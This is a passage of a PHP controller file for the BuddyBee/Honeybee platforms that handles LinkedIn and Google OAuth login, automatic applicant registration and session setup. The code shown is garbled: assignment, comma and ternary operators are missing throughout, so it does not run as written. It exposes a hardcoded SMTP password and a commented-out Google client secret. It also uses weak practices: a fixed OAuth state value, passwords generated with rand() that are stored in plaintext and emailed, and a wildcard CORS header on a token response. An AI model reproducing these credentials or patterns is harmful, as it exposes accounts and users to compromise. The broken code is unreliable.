  6037.                 )
  6038.             ));
  6039.             $content curl_exec($curl);
  6040.             $contentArray = [];
  6041.             curl_close($curl);
  6042.             $token false;
  6043. //      return new JsonResponse(array(
  6044. //          'content'=>$content,
  6045. //          'contentArray'=>json_decode($content,true),
  6046. //
  6047. //      ));
  6048.             if ($content) {
  6049.                 $contentArray json_decode($contenttrue);
  6050.                 $token $contentArray['access_token'];
  6051.             }
  6052.             if ($token) {
  6053.                 $applicantInfo = [];
  6054.                 $curl curl_init();
  6055.                 curl_setopt_array($curl, array(
  6056.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6057.                     CURLOPT_HEADER => false,  // don't return headers
  6058.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6059.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6060.                     CURLOPT_ENCODING => "",     // handle compressed
  6061.                     CURLOPT_USERAGENT => "test"// name of client
  6062.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6063.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6064.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6065.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6066.                     CURLOPT_USERAGENT => 'InnoPM',
  6067.                     CURLOPT_HTTPGET => 1,
  6068.                     CURLOPT_HTTPHEADER => array(
  6069.                         'Authorization: Bearer ' $token,
  6070.                         'Header-Key-2: Header-Value-2'
  6071.                     )
  6072.                 ));
  6073.                 $userGeneralcontent curl_exec($curl);
  6074.                 curl_close($curl);
  6075.                 if ($userGeneralcontent) {
  6076.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6077.                 }
  6078.                 $curl curl_init();
  6079.                 curl_setopt_array($curl, array(
  6080.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6081.                     CURLOPT_HEADER => false,  // don't return headers
  6082.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6083.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6084.                     CURLOPT_ENCODING => "",     // handle compressed
  6085.                     CURLOPT_USERAGENT => "test"// name of client
  6086.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6087.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6088.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6089.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6090. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6091.                     CURLOPT_USERAGENT => 'InnoPM',
  6092.                     CURLOPT_HTTPGET => 1,
  6093.                     CURLOPT_HTTPHEADER => array(
  6094.                         'Authorization: Bearer ' $token,
  6095.                         'Header-Key-2: Header-Value-2'
  6096.                     )
  6097.                 ));
  6098.                 $userEmailcontent curl_exec($curl);
  6099.                 curl_close($curl);
  6100.                 $token false;
  6101.                 if ($userEmailcontent) {
  6102.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6103.                 }
  6104. //        $oAuthEmail = $applicantInfo['email'];
  6105. //        return new JsonResponse(array(
  6106. //          'userEmailcontent'=>$userEmailcontent,
  6107. //          'userGeneralcontent'=>$userGeneralcontent,
  6108. //        ));
  6109. //        return new response($userGeneralcontent);
  6110.                 $oAuthData = [
  6111.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6112.                     'uniqueId' => $userGeneralcontent['id'],
  6113.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6114.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6115.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6116.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6117.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6118.                     'type' => 1,
  6119.                     'token' => $token,
  6120.                 ];
  6121.             }
  6122.         } else if (isset($_GET["code"])) {
  6123.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6124.             if (!isset($token['error'])) {
  6125.                 $google_client->setAccessToken($token['access_token']);
  6126.                 $google_service = new Google_Service_Oauth2($google_client);
  6127.                 $applicantInfo $google_service->userinfo->get();
  6128.                 $oAuthEmail $applicantInfo['email'];
  6129.                 $oAuthData = [
  6130.                     'email' => $applicantInfo['email'],
  6131.                     'uniqueId' => $applicantInfo['id'],
  6132.                     'image' => $applicantInfo['picture'],
  6133.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6134.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6135.                     'firstName' => $applicantInfo['givenName'],
  6136.                     'lastName' => $applicantInfo['familyName'],
  6137.                     'type' => $token['token_type'],
  6138.                     'token' => $token['access_token'],
  6139.                 ];
  6140.             }
  6141.         }
  6142.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6143.             $isApplicantExist $applicantRepo->findOneBy([
  6144.                 'email' => $oAuthData['email']
  6145.             ]);
  6146.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6147.                 $isApplicantExist $applicantRepo->findOneBy([
  6148.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6149.                 ]);
  6150.             }
  6151.             if ($isApplicantExist) {
  6152.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6153.                 } else
  6154.                     return $this->redirectToRoute("core_login", [
  6155.                         'id' => $isApplicantExist->getApplicantId(),
  6156.                         'oAuthData' => $oAuthData,
  6157.                         'encData' => $encData,
  6158.                         'locale' => $request->request->get('locale''en'),
  6159.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6160.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6161.                     ]);
  6162.             } else {
  6163.                 $fname $oAuthData['firstName'];
  6164.                 $lname $oAuthData['lastName'];
  6165.                 $img $oAuthData['image'];
  6166.                 $email $oAuthData['email'];
  6167.                 $oAuthEmail $oAuthData['email'];
  6168.                 $userName explode('@'$email)[0];
  6169.                 //now check if same username exists
  6170.                 $username_already_exist 1;
  6171.                 $initial_user_name $userName;
  6172.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6173.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6174.                     $isUsernameExist $applicantRepo->findOneBy([
  6175.                         'username' => $userName
  6176.                     ]);
  6177.                     if ($isUsernameExist) {
  6178.                         $username_already_exist 1;
  6179.                         $userName $initial_user_name '' rand(3009987);
  6180.                     } else {
  6181.                         $username_already_exist 0;
  6182.                     }
  6183.                     $timeoutSafeCount--;
  6184.                 }
  6185.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6186.                     $currentUnixTimeStamp '';
  6187.                     $currentUnixTime = new \DateTime();
  6188.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6189.                     $userName $userName '' $currentUnixTimeStamp;
  6190.                 }
  6191.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6192.                 $charactersLength strlen($characters);
  6193.                 $length 8;
  6194.                 $password 0;
  6195.                 for ($i 0$i $length$i++) {
  6196.                     $password .= $characters[rand(0$charactersLength 1)];
  6197.                 }
  6198.                 $newApplicant = new EntityApplicantDetails();
  6199.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6200.                 $newApplicant->setEmail($email);
  6201.                 $newApplicant->setUserName($userName);
  6202.                 $newApplicant->setFirstname($fname);
  6203.                 $newApplicant->setLastname($lname);
  6204.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6205.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6206.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6207.                 $newApplicant->setAccountStatus(1);
  6208.                 //salt will be username
  6209. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  6210.                 $salt uniqid(mt_rand());
  6211.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6212.                 $newApplicant->setPassword($encodedPassword);
  6213.                 $newApplicant->setSalt($salt);
  6214.                 $newApplicant->setTempPassword($password);
  6215. //                $newApplicant->setPassword($password);
  6216.                 $marker $userName '-' time();
  6217. //                $extension_here=$uploadedFile->guessExtension();
  6218. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6219. //                $path = $fileName;
  6220.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6221.                 if (!file_exists($upl_dir)) {
  6222.                     mkdir($upl_dir0777true);
  6223.                 }
  6224.                 $ch curl_init($img);
  6225.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6226.                 curl_setopt($chCURLOPT_FILE$fp);
  6227.                 curl_setopt($chCURLOPT_HEADER0);
  6228.                 curl_exec($ch);
  6229.                 curl_close($ch);
  6230.                 fclose($fp);
  6231.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6232. //                $newApplicant->setImage($img);
  6233.                 $newApplicant->setIsConsultant(0);
  6234.                 $newApplicant->setIsTemporaryEntry(0);
  6235.                 $newApplicant->setApplyForConsultant(0);
  6236.                 $newApplicant->setTriggerResetPassword(0);
  6237.                 $em->persist($newApplicant);
  6238.                 $em->flush();
  6239.                 // GR2 (GROWTH) â€” fresh registration: stamp the viral-touch conversion if this
  6240.                 // browser landed via a GR1 backlink. Fully guarded inside; never affects signup.
  6241.                 \ApplicationBundle\Modules\LeadGen\Service\ViralAttributionService::stampConversion($em$request$newApplicant->getId());
  6242.                 $isApplicantExist $newApplicant;
  6243.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6244.                     if ($systemType == '_BUDDYBEE_') {
  6245.                         $bodyHtml '';
  6246.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6247.                         $bodyData = array(
  6248.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6249.                             'email' => $userName,
  6250.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  6251.                             'password' => $newApplicant->getTempPassword(),
  6252.                         );
  6253.                         $attachments = [];
  6254.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6255. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6256.                         $new_mail $this->get('mail_module');
  6257.                         $new_mail->sendMyMail(array(
  6258.                             'senderHash' => '_CUSTOM_',
  6259.                             //                        'senderHash'=>'_CUSTOM_',
  6260.                             'forwardToMailAddress' => $forwardToMailAddress,
  6261.                             'subject' => 'Welcome to BuddyBee ',
  6262. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6263.                             'attachments' => $attachments,
  6264.                             'toAddress' => $forwardToMailAddress,
  6265.                             'fromAddress' => 'registration@buddybee.eu',
  6266.                             'userName' => 'registration@buddybee.eu',
  6267.                             'password' => 'Y41dh8g0112',
  6268.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6269.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6270.                             'encryptionMethod' => 'ssl',
  6271. //                            'emailBody' => $bodyHtml,
  6272.                             'mailTemplate' => $bodyTemplate,
  6273.                             'templateData' => $bodyData,
  6274. //                        'embedCompanyImage' => 1,
  6275. //                        'companyId' => $companyId,
  6276. //                        'companyImagePath' => $company_data->getImage()
  6277.                         ));
  6278.                     } else {
  6279.                         $bodyHtml '';
  6280.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6281.                         $bodyData = array(
  6282.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6283.                             'email' => 'APP-' $userName,
  6284.                             'password' => $newApplicant->getPassword(),
  6285.                         );
  6286.                         $attachments = [];
  6287.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6288. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6289.                         $new_mail $this->get('mail_module');
  6290.                         $new_mail->sendMyMail(array(
  6291.                             'senderHash' => '_CUSTOM_',
  6292.                             //                        'senderHash'=>'_CUSTOM_',
  6293.                             'forwardToMailAddress' => $forwardToMailAddress,
  6294.                             'subject' => 'Applicant Registration on Honeybee',
  6295. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6296.                             'attachments' => $attachments,
  6297.                             'toAddress' => $forwardToMailAddress,
  6298.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6299.                             'userName' => 'accounts@ourhoneybee.eu',
  6300.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  6301.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6302.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6303.                             'encryptionMethod' => 'ssl',
  6304. //                            'emailBody' => $bodyHtml,
  6305.                             'mailTemplate' => $bodyTemplate,
  6306.                             'templateData' => $bodyData,
  6307. //                        'embedCompanyImage' => 1,
  6308. //                        'companyId' => $companyId,
  6309. //                        'companyImagePath' => $company_data->getImage()
  6310.                         ));
  6311.                     }
  6312.                 }
  6313.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6314.                 } else {
  6315.                     return $this->redirectToRoute("core_login", [
  6316.                         'id' => $newApplicant->getApplicantId(),
  6317.                         'oAuthData' => $oAuthData,
  6318.                         'encData' => $encData,
  6319.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6320.                         'locale' => $request->request->get('locale''en'),
  6321.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6322.                     ]);
  6323.                 }
  6324.             }
  6325.         }
  6326.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6327.             if ($isApplicantExist) {
  6328.                 $user $isApplicantExist;
  6329.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6330.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6331.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6332.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6333.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6334.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6335.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6336.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6337.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6338.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6339.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6340.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6341.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6342.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6343.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6344.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6345.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6346.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6347.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6348.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6349.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6350.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6351.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6352.                     $session->set('userCompanyVibrantList'json_encode([]));
  6353.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6354.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6355.                     $session->set(UserConstants::USER_APP_ID0);
  6356.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6357.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6358.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6359.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6360.                     $session->set(UserConstants::USER_GOC_ID0);
  6361.                     $session->set(UserConstants::USER_DB_NAME'');
  6362.                     $session->set(UserConstants::USER_DB_USER'');
  6363.                     $session->set(UserConstants::USER_DB_PASS'');
  6364.                     $session->set(UserConstants::USER_DB_HOST'');
  6365.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6366.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6367.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6368.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6369.                     $session->set('locale'$request->request->get('locale'''));
  6370.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6371.                     $route_list_array = [];
  6372.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6373.                     $loginID 0;
  6374.                     $loginID MiscActions::addEntityUserLoginLog(
  6375.                         $em,
  6376.                         $session->get(UserConstants::USER_ID),
  6377.                         $session->get(UserConstants::USER_ID),
  6378.                         1,
  6379.                         $request->server->get("REMOTE_ADDR"),
  6380.                         0,
  6381.                         $request->request->get('deviceId'''),
  6382.                         $request->request->get('oAuthToken'''),
  6383.                         $request->request->get('oAuthType'''),
  6384.                         $request->request->get('locale'''),
  6385.                         $request->request->get('firebaseToken''')
  6386.                     );
  6387.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6388.                     $session_data = array(
  6389.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6390.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6391.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6392.                         'oAuthToken' => $session->get('oAuthToken'),
  6393.                         'locale' => $session->get('locale'),
  6394.                         'firebaseToken' => $session->get('firebaseToken'),
  6395.                         'token' => $session->get('token'),
  6396.                         'firstLogin' => 0,
  6397.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  6398.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  6399.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  6400.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  6401.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  6402.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  6403.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  6404.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  6405.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  6406.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  6407.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  6408.                         'oAuthImage' => $session->get('oAuthImage'),
  6409.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  6410.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  6411.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  6412.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  6413.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  6414.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  6415.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  6416.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  6417.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  6418.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  6419.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  6420.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  6421.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  6422.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  6423.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  6424.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  6425.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  6426.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  6427.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  6428.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  6429.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  6430.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  6431.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  6432.                         //new
  6433.                         'appIdList' => $session->get('appIdList'),
  6434.                         'branchIdList' => $session->get('branchIdList'null),
  6435.                         'branchId' => $session->get('branchId'null),
  6436.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  6437.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  6438.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  6439.                     );
  6440.                     $session_data $this->filterClientSessionData($session_data);
  6441.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  6442.                     $session_data $tokenData['sessionData'];
  6443.                     $token $tokenData['token'];
  6444.                     $session->set('token'$token);
  6445.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  6446.                         $session->set('remoteVerified'1);
  6447.                         $response = new JsonResponse(array(
  6448.                             'token' => $token,
  6449.                             'uid' => $session->get(UserConstants::USER_ID),
  6450.                             'session' => $session,
  6451.                             'success' => true,
  6452.                             'session_data' => $session_data,
  6453.                         ));
  6454.                         $response->headers->set('Access-Control-Allow-Origin''*');
  6455.                         return $response;
  6456.                     }
  6457.                     if ($request->request->has('referer_path')) {
  6458.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  6459.                             return $this->redirect($request->request->get('referer_path'));
  6460.                         }
  6461.                     }
  6462.                     $redirectRoute 'applicant_dashboard';
  6463.                     if ($request->query->has('encData')) {
  6464.                         if ($request->query->get('encData') == '8917922')
  6465.                             $redirectRoute 'apply_for_consultant';
  6466.                     }
  6467.                     return $this->redirectToRoute($redirectRoute);
  6468.                 }
  6469. //                    $response = new JsonResponse(array(
  6470. //                        'token' => $token,
  6471. //                        'uid' => $session->get(UserConstants::USER_ID),
  6472. //                        'session' => $session,
  6473. //
  6474. //                        'success' => true,
  6475. //                        'session_data' => $session_data,
  6476. //
  6477. //                    ));
  6478. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  6479. //                    return $response;
  6480. //                    return $this->redirectToRoute("user_login", [
  6481. //                        'id' => $isApplicantExist->getApplicantId(),
  6482. //                        'oAuthData' => $oAuthData,
  6483. //                        'encData' => $encData,
  6484. //                        'locale' => $request->request->get('locale', 'en'),
  6485. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  6486. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  6487. //                    ]);
  6488.             }
  6489.         }
  6490. //        if ($request->isMethod('POST')){
  6491. //            $new = new EntityApplicantDetails();
  6492. //
  6493. //            $new-> setUsername->$request->request->get('userName');
  6494. //            $new-> setEmail()->$request->request->get('email');
  6495. //            $new-> setPassword()->$request->request->get('password');
  6496. //            $new-> setSelector()->$request->request->get('selector');
  6497. //
  6498. //
  6499. //            $em->persist($new);
  6500. //            $em->flush();
  6501. //        }
  6502.         $selector BuddybeeConstant::$selector;
  6503.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6504.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  6505.         if ($systemType == '_ERP_') {
  6506.         } else if ($systemType == '_BUDDYBEE_') {
  6507.             return $this->render(
  6508.                 '@Authentication/pages/views/applicant_login.html.twig',
  6509.                 [
  6510.                     'page_title' => 'BuddyBee Login',
  6511.                     'oAuthLink' => $google_client->createAuthUrl(),
  6512.                     'redirect_url' => $url,
  6513.                     'message' => $message,
  6514.                     'errorField' => $errorField,
  6515.                     'encData' => $encData,
  6516.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  6517.                     'selector' => $selector
  6518.                 ]
  6519.             );
  6520.         }
  6521.         return $this->render(
  6522.             '@Authentication/pages/views/applicant_login.html.twig',
  6523.             [
  6524.                 'page_title' => 'Applicant Registration',
  6525.                 'oAuthLink' => $google_client->createAuthUrl(),
  6526.                 'redirect_url' => $url,
  6527.                 'encData' => $encData,
  6528.                 'message' => $message,
  6529.                 'errorField' => $errorField,
  6530.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  6531.                 'selector' => $selector
  6532.             ]
  6533.         );
  6534.     }
  6535.     public function centralLoginAction(Request $request$encData ''$remoteVerify 0)
  6536.     {
  6537.         $session $request->getSession();
  6538.         $email $request->getSession()->get('userEmail');
  6539.         $sessionUserId $request->getSession()->get('userId');
  6540.         $oAuthData = [];
  6541. //    $encData='';
  6542.         $em $this->getDoctrine()->getManager('company_group');
  6543.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  6544.         $redirectRoute 'dashboard';
  6545.         if ($encData != '') {
  6546.             if ($encData == '8917922')
  6547.                 $redirectRoute 'apply_for_consultant';
  6548.         }
  6549.         if ($request->query->has('encData')) {
  6550.             $encData $request->query->get('encData');
  6551.             if ($encData == '8917922')
  6552.                 $redirectRoute 'apply_for_consultant';
  6553.         }
  6554.         $message '';
  6555.         $errorField '_NONE_';
  6556.         if ($request->query->has('message')) {
  6557.             $message $request->query->get('message');
  6558.         }
  6559.         if ($request->query->has('errorField')) {
  6560.             $errorField $request->query->get('errorField');
  6561.         }
  6562.         if ($request->request->has('oAuthData')) {
  6563.             $oAuthData $request->request->get('oAuthData', []);
  6564.         } else {
  6565.             $oAuthData = [
  6566.                 'email' => $request->request->get('email'''),
  6567.                 'uniqueId' => $request->request->get('uniqueId'''),
  6568.                 'oAuthHash' => '_NONE_',
  6569.                 'image' => $request->request->get('image'''),
  6570.                 'emailVerified' => $request->request->get('emailVerified'''),
  6571.                 'name' => $request->request->get('name'''),
  6572.                 'firstName' => $request->request->get('firstName'''),
  6573.                 'lastName' => $request->request->get('lastName'''),
  6574.                 'type' => 1,
  6575.                 'token' => $request->request->get('oAuthtoken'''),
  6576.             ];
  6577.         }
  6578.         $isApplicantExist null;
  6579.         if ($email) {
  6580.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6581.                 $isApplicantExist $applicantRepo->findOneBy([
  6582.                     'applicantId' => $sessionUserId
  6583.                 ]);
  6584.             } else
  6585.                 return $this->redirectToRoute($redirectRoute);
  6586.         }
  6587.         $google_client = new Google_Client();
  6588. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  6589. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  6590.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  6591.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  6592.         } else {
  6593.             $url $this->generateUrl(
  6594.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  6595.             );
  6596.         }
  6597.         $selector BuddybeeConstant::$selector;
  6598.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6599.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  6600. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  6601. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  6602.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  6603. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  6604.         $google_client->setRedirectUri($url);
  6605.         $google_client->setAccessType('offline');        // offline access
  6606.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
